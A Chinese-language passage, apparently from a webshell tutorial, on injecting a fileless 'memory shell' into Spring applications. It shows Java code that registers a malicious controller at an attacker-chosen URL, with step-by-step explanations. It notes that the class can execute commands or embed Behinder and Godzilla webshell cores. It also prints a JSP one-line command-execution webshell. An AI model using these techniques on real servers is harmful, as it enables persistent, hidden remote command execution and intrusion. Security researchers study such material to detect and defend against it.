RequestMethodsRequestCondition ms = new
RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null,
null, null, null, null);
InjectToController injectToController = new
InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController,
method2);
}
public void test() {
xxx
}
}
• 步骤 1 中的 context 可以理解为 web 端处理这个请求时,当前线程内所
拥有的各种环境信息和资源
• 步骤 2 中获取的 mappingHandlerMapping 对象是用于注册 controller 的
• 步骤 3 中的反射是为了获得 test 这个 Method 对象,以便动态注册
controller 时,告知接收到给定 url 路径的请求后,用那个 Method 来
处理,其中 InjectToController 类就是我们的恶意类
• 步骤 4 定义的 url 对象是为了指定注入 url,这个 url 就是我们的内存
马路径
• 步骤 5 是告知注入的 url 允许的请求方法
• 步骤 6 中 RequestMappingInfo 填入的信息类似于@RequestMapping 注解
中的信息,即 url、允许的请求方法等。是真正注册 controller 的步骤
• InjectToController 这个类就是我们的恶意类,其中定义了 test 方
法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的
webshell 核心代码,以便使用这两个工具。InjectToController 的完整
代码在后面的章节可见
1.3 获取 request 和 response
常用的 jsp 一句话 webshell 代码如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由于 jsp 文件被执行时,会自动获得了 request 这个资源,所以一句话木马不
需要考虑如何获取 request 这个对象。但在我们注入 controller 的流程中,恶
意 java 类的编译是由攻击者完成的,web 端直接执行编译好的 class 文件,显
然不可能像上面图片中用注解的方式在让 test 方法(InjectToController 中
的)的参数自带 request, 所以再一次站在巨人的肩膀上
https://www.jianshu.com/p/89b0a7c11ee2 ,通过 spring 的内部方法获取到
request 和 response 对象
评论0
最新资源